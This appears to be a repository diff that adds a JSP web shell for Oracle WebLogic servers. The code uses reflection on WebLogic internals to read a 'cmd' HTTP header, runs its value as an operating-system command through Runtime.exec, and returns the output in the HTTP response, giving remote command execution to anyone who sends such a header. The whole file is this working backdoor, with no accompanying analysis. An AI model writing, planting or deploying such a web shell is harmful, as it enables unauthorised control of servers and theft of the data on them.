|
| 1 | +<%@ page contentType="text/html;charset=UTF-8" language="java" %> |
| 2 | +<% |
| 3 | + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork(); |
| 4 | + if(adapter.getClass().getName().endsWith("ServletRequestImpl")){ |
| 5 | + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd"); |
| 6 | +
|
| 7 | + if(cmd != null && !cmd.isEmpty()){ |
| 8 | + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); |
| 9 | + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); |
| 10 | + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); |
| 11 | + res.getServletOutputStream().flush(); |
| 12 | + res.getWriter().write(""); |
| 13 | + } |
| 14 | + }else{ |
| 15 | + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); |
| 16 | + field.setAccessible(true); |
| 17 | + Object obj = field.get(adapter); |
| 18 | + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); |
| 19 | + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); |
| 20 | +
|
| 21 | + if(cmd != null && !cmd.isEmpty()){ |
| 22 | + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); |
| 23 | + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); |
| 24 | + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); |
| 25 | + res.getServletOutputStream().flush(); |
| 26 | + res.getWriter().write(""); |
| 27 | + } |
| 28 | + } |
| 29 | +%> |
0 commit comments